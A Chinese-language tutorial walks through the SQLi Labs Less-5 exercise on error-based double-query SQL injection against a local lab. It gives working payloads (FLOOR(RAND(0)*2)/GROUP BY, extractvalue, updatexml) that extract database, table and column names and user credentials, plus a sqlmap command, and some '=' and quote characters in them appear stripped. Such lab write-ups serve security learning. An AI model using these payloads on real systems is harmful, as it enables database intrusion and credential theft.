ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

深入解析SQLi Labs Less-5:双查询报错注入原理与实战

深入解析SQLi Labs Less-5:双查询报错注入原理与实战 2017年前后我系统刷SQLi Labs靶场从Less-1一路打到Less-4都很顺那几个关卡的本质都是“联合查询结果直接回显”单引号、数字型、括号闭合、双引号的花样再多只要union能出数思路就固定。真正让我卡住的是Less-5也就是sqlilabs靶场里被人反复提起的“双查询注入”关卡。打开页面传id1、id2、id3页面永远只回一句“You are in...........”完全不跟你展示任何查询结果。这一关官方归类是Double Injection - Single Quote核心要解决的是当页面不回显数据库内容时如何利用MySQL的报错机制把数据“带”出来。这篇笔记适合正在刷sqlilabs的新手也适合对报错注入原理一知半解、想补底层逻辑的人。我会把Less-5从闭合探测、双查询payload构造、数据提取全流程拆开讲最后附上我实际操作中踩过的坑和排查思路。1. 关卡概述与核心需求解析1.1 为什么Less-5突然变难了前四关的页面会把SQL查询结果直接渲染出来比如id1时页面出现用户名和密码id2时出现另一条。你注入一个union select数据就出现在页面上属于“看得到就是看得到”。但Less-5的设计变了它把查询结果彻底屏蔽了页面只剩一个固定的“You are in...........”。这种行为在真实环境里非常常见某个后台接口只返回“成功”“失败”或者只返回固定的提示文字但背后确实执行了SQL查询。作为测试者你会进入一个尴尬局面——明明存在注入点却看不见目标数据。Less-5的Header写着“Double Injection - Single Quote”也就是“单引号闭合的双查询注入”。这一关要训练的核心能力是把MySQL的报错信息当成输出通道。MySQL在特定条件下会抛出包含查询内容的错误提示我们要做的就是构造一条SQL让MySQL在报错的同时把数据“吐”出来。1.2 这关要训练的核心能力拆开来看Less-5其实包含两个独立的小挑战。第一个小挑战是判断闭合方式。这里用的是单引号字符串闭合你传?id1页面会崩出SQL语法错误报错片段能看到查询语句的尾部是LIMIT 0,1引号位置也暴露了闭合关系。第二个小挑战是放弃union思路转向“让数据出现在报错里”。很多人在前四关刷得飞快到这里突然觉得使不上力本质上是思维惯性作祟——只知道页面回显才叫注入不知道报错本身也是输出。Less-5的存在意义就是把大家从“看得见结果”的舒适区拽进“看不见结果”的实战场景。你可以用布尔盲注慢慢猜但效率实在太低你应该学会用报错注入一条SQL就把目标数据整个带出来。2. 双查询注入原理解析2.1 把数据变成分组键的巧妙思路双查询注入最经典的payload长这样?id1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--我第一次看到这个payload的时候也发懵内部套了两层子查询还夹杂着CONCAT、FLOOR、RAND、GROUP BY。要理解它从外往里剥。我们的目标是把database()结果拼进一个会参与报错的字段。这里选择了一个巧妙的载体分组键。在SQL里GROUP BY x会按x的值进行分组统计MySQL执行时会维护一个分组表分组的键值就是x。如果我们让x等于“库名一个随机数”那么分组过程中只要同一个键值出现两次MySQL就会认为分组重复。外层套一个SELECT COUNT(*) FROM (刚才那段) a是为了物化这个分组过程。内层从information_schema.tables取足够多的行目的是让分组键有足够多的重复机会触发Duplicate entry报错。2.2 CONCATFLOORRAND(0)三件套为什么缺一不可把这段单独拎出来看CONCAT((SELECT database()), FLOOR(RAND(0)*2)) xCONCAT把我们要的库名和一个数字拼接成字符串比如security1、security0。这个拼接后的字符串被当作x参与GROUP BY。关键点在于FLOOR(RAND(0)*2)这部分。RAND()生成0到1之间的小数RAND(0)是带固定种子0的随机函数它生成的随机序列是确定的不会每次刷新都不一样。乘以2再向下取整结果就是0或1。数字0或1的意义是让分组键变成“库名不同后缀”。由于RAND(0)序列在MySQL内部会被重复计算同一个分组键会在扫描过程中被判定为不同的值最终导致两个本应相同的键发生了冲突MySQL抛出的错误就是Duplicate entry security1 for key group_key这个报错信息里恰好带了库名security。这就是双查询注入的全部秘密——用分组冲突把数据带进报错里。如果不用RAND(0)而直接写RAND()随机序列每次都不一样触发冲突的概率不稳定经常刷新几次就报不出错。写死种子0是在保证“可复现的剧情”让冲突必然发生。2.3 从双查询到报错函数两条替代路线GROUP BY双查询这一招虽然经典但payload长、易出错。MySQL还提供了两个更简洁的报错函数在Less-5里同样致命。?id1 AND extractvalue(1, concat(0x7e, (select database()), 0x7e))-- ?id1 AND updatexml(1, concat(0x7e, (select version()), 0x7e), 1)--原理是extractvalue和updatexml的第二个参数要求是合法的XPath格式字符串当我们传入的字符串不是合法XPath时MySQL抛出XPath syntax error错误消息里原样带出整个字符串。0x7e是十六进制的波浪号~主要用来给数据前后加边界方便人眼分辨哪些是目标数据。这两个函数返回的报错信息最长只有32个字符左右数据较长时可以用substr()分段截取?id1 AND extractvalue(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 1, 30)))--3. 整个通关过程实录3.1 探测注入点与闭合方式进入Less-5访问http://127.0.0.1/sqli-labs/Less-5/?id1页面显示“You are in...........”。先做基础探测。访问?id1页面直接抛出SQL语法错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1 at line 1这段报错有两个关键信息SQL的末尾带LIMIT 0,1说明查询只取一条结果引号的闭合方式是单引号也就是说原SQL结构大概是SELECT * FROM users WHERE id$id LIMIT 0,1接着访问?id1 --页面恢复“You are in...........”说明注释符生效注入点确认成立。至此能判断虽然页面看不到结果但闭合方式和Less-1是一样的。如果用union由于最终只回显静态文本所以我们不采用直接上双查询。3.2 构造并验证第一条双查询payload闭合确认后先打一条最简单的双查询payload验证报错机制?id1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--页面返回Duplicate entry security1 for key group_key这一步完成两件事确认双查询注入可用直接拿到当前数据库名security。这个验证动作相当重要别上来就急着查表先确认“报错通道”是通的。3.3 库名→表名→字段名→数据全流程数据库名已经到手接下来按标准信息收集顺序走库名→表名→字段名→数据。取表名?id1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--页面返回Duplicate entry emails1 for key group_key第一个表名是emails。依次修改LIMIT 0,1为LIMIT 1,1、LIMIT 2,1继续枚举security库后续会出现referers、uagents、users等表其中users表才是目标。取users表的字段名?id1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT column_name FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--按偏移依次能得到id、username、password三个字段。取数据?id1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT CONCAT(username,0x7e,password) FROM users LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--页面返回类似Duplicate entry Dumb~Dumb1 for key group_key第一行记录的用户名密码就出来了。后面的记录通过修改LIMIT偏移逐条取。我建议新手手工测三条左右体会一下报错结构的变化再考虑上脚本。3.4 报错函数的替代操作实录我在笔记里还记录了用extractvalue和updatexml的替代打法在Less-5里效果更简洁?id1 AND extractvalue(1, concat(0x7e, (select database()), 0x7e))--返回XPATH syntax error: ~security~执行成功的体验比双查询舒服很多因为不用套子查询也不用考虑GROUP BY的随机序列。我的建议是两条路线都练一遍既学了双查询的底层机制又掌握了更轻量的工具函数实战中哪个版本支持哪个优先用哪个。4. 实战中常见问题与排查技巧4.1 页面空白没有报错是不是就不存在注入我在刷Less-5时遭遇最多的现象就是页面一片空白既没有报错也没有页面原文。出现这种情况先别急着下“无注入”结论按顺序排查三件事。第一检查URL编码。双查询payload里有空格、逗号、括号、单引号直接丢进地址栏可能被浏览器或服务端解析掉。最稳妥的办法是用Burp Suite的Repeater发送或者把空格替换成在GET参数里会被解析为空格。第二确认MySQL版本。Less-5的报错机制依赖MySQL 5.x的特定行为如果本地环境是MySQL 8.0以上很多分组冲突的报错条件会发生变化Duplicate entry不再触发。sqlilabs官方环境用的是5.7.x或5.6.x我用下来体验最稳定的是PHPStudy里带的MySQL 5.7。第三检查注释符。Less-5的闭合是单引号payload尾部要用--或#注意--后面必须跟一个空格写成--是为了利用URL里的加号代表空格。如果注释符出错后面的内容会被当成字符串整个payload直接失效。4.2 RAND(0)与RAND()对触发结果的影响这是新手最容易忽略的坑。网上很多payload都写RAND(0)*2有人想着把0去掉省事直接写FLOOR(RAND()*2)结果就是报错时灵时不灵。原因在于RAND()每次生成的都是随机序列MySQL在GROUP BY过程中对同一个分组键会重复求值随机值一变分组键就跟着变冲突能不能触发完全看运气。RAND(0)传入固定种子0序列是确定的生成的0/1序列有规律重复求值时必然会出现两次相同的键于是Duplicate entry就能稳定触发。简单讲RAND()像开盲盒RAND(0)像按剧本走流程剧本表演次数够多冲突一定出现。4.3 报错被截断的“切香肠”处理法双查询和extractvalue的报错信息在MySQL里显示长度大约32个字符超过就会被截断。比如用group_concat把所有表名拼在一起几十个字符的报错信息只显示一小截看起来像数据不全其实是被截断了。解决办法是分段取。双查询本身支持LIMIT可以用偏移量一条条取每次只取一条记录报错信息永远在32字符内用group_concat拼接时可以配合substr()切区间每次取30个字符再手工拼接完整结果。我在笔记里管这个方法叫“切香肠”。在Less-5里如果不会切取长字段时会非常痛苦建议一拿到库名就先练一次分段取table_name的过程。4.4 从Less-5到相邻关卡的递进关系Less-5之后sqlilabs设计了一条清晰的“无回显注入”梯度训练路线。Less-6是双引号闭合的双查询注入逻辑与Less-5几乎一样但闭合字符从单引号变成双引号主要锻炼“换一种闭合就换一条payload”的应变能力。Less-7是导出文件型注入考验的是能不能把查询结果写入服务器文件。Less-8是纯布尔盲注完全没有报错只能靠and 11与and 12的页面差异判断。Less-9是时间盲注连布尔差异都不给你只能等sleep()的延时反馈。这五个关卡连起来是一套完整的“看不见数据也能拿数据”的训练链路。我个人的建议是每关都用同一个数据提取目标跑一遍这样对比着学印象会深很多。5. 经验心得与扩展方向5.1 手工优先脚本靠后刷Less-5我强烈建议先手工把三条payload各打一遍再去碰sqlmap。一条是验证闭合一条是双查询报错一条是extractvalue报错。三条都通了说明原理过关。之后再考虑用sqlmap提速而且要用--techniqueE专门跑error-based注入sqlmap -u http://127.0.0.1/sqli-labs/Less-5/?id1 --techniqueE --dbs脚本工具能帮我们自动化但原理没吃透出偏差时你根本不知道它为什么这么跑排查起来会非常吃力。先手后脚这是我一直以来的习惯。5.2 输出通道思维我在授权测试中回头反思Less-5最大的收获并不是背会了一个payload而是建立了一个思维模型判断一个注入点能走哪条路最终取决于“数据能从哪个输出通道出来”。页面回显正常走union页面不回显看报错报错被关闭试布尔布尔无差异用延时。输出通道的优先级判断让我在后来的代码审计测试中少走了很多弯路也会更快判断一个注入点的可利用程度。5.3 值得深挖的延伸学习路线如果Less-5刷通了我还有几个延伸建议。第一去读一读MySQL官方的RAND函数文档理解固定种子的数学意义这对理解其他随机类注入也有帮助。第二研究一下information_schema库的常用视图table_name、column_name这些字段要形成肌肉记忆。第三把前面建议的Less-6到Less-9刷完不用急每天一关组合起来对“无回显注入”的理解会有质的提升。最后分享一个我的个人习惯每刷一关靶场我会把运行的主要payload和对应的报错结果保存到本地笔记标注“为什么这么写”和“如果失败了先查什么”。这比保存几十个链接更有用因为报错注入的东西过一阵子不看真的会手生。Less-5这份笔记就是我这样沉淀下来的。
返回列表